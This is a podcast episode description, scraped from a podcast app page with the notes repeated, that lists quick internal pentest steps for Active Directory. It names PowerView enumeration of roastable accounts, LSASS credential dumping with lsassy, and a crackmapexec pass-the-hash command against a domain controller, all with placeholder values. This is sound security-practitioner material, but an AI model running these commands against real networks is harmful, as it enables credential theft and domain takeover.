使用Player FM应用程序离线!
7MS #457: Tales of Internal Network Pentest Pwnage - Part 25
Manage episode 286533818 series 1288763
Hi! This episode of pentest pwnage is a fun one because it was built for speeeeeeeeeeeeeeeed. Here's some of the things we're doing/running when time is of the essence:
- Get a cmd.exe spun up in the context of your AD user account:
Then get some important info in PowerView:
Get-DomainUser -PreAuthNotRequired - find AD users with this flag set...then crack the hash for a (potentially) easy win!
Get-NetUser -spn - find Kerberoastable accounts...then crack the hash for a (potentially) easy win!
Find-LocalAdminAccess -Verbose helps you find where your general AD user has local admin access!
Once you know where you have local admin access, lsassy is your friend:
- lsassy -d domain.com -u YOUR-USER -p YOUR-PASSWORD victim-server
Did you get an admin's NTLM hash from this dump? Then do this:
- crackmapexec smb IP.OF.THE.DOMAINCONTROLLER -u ACCOUNT-YOU-DUMPED -H 'NTLM-HASH-OF-THAT-ACCOUNT-YOU-DUMPED
(Pwn3d!) FTW!
619集单集
Manage episode 286533818 series 1288763
Hi! This episode of pentest pwnage is a fun one because it was built for speeeeeeeeeeeeeeeed. Here's some of the things we're doing/running when time is of the essence:
- Get a cmd.exe spun up in the context of your AD user account:
Then get some important info in PowerView:
Get-DomainUser -PreAuthNotRequired - find AD users with this flag set...then crack the hash for a (potentially) easy win!
Get-NetUser -spn - find Kerberoastable accounts...then crack the hash for a (potentially) easy win!
Find-LocalAdminAccess -Verbose helps you find where your general AD user has local admin access!
Once you know where you have local admin access, lsassy is your friend:
- lsassy -d domain.com -u YOUR-USER -p YOUR-PASSWORD victim-server
Did you get an admin's NTLM hash from this dump? Then do this:
- crackmapexec smb IP.OF.THE.DOMAINCONTROLLER -u ACCOUNT-YOU-DUMPED -H 'NTLM-HASH-OF-THAT-ACCOUNT-YOU-DUMPED
(Pwn3d!) FTW!
619集单集
All episodes
×欢迎使用Player FM
Player FM正在网上搜索高质量的播客,以便您现在享受。它是最好的播客应用程序,适用于安卓、iPhone和网络。注册以跨设备同步订阅。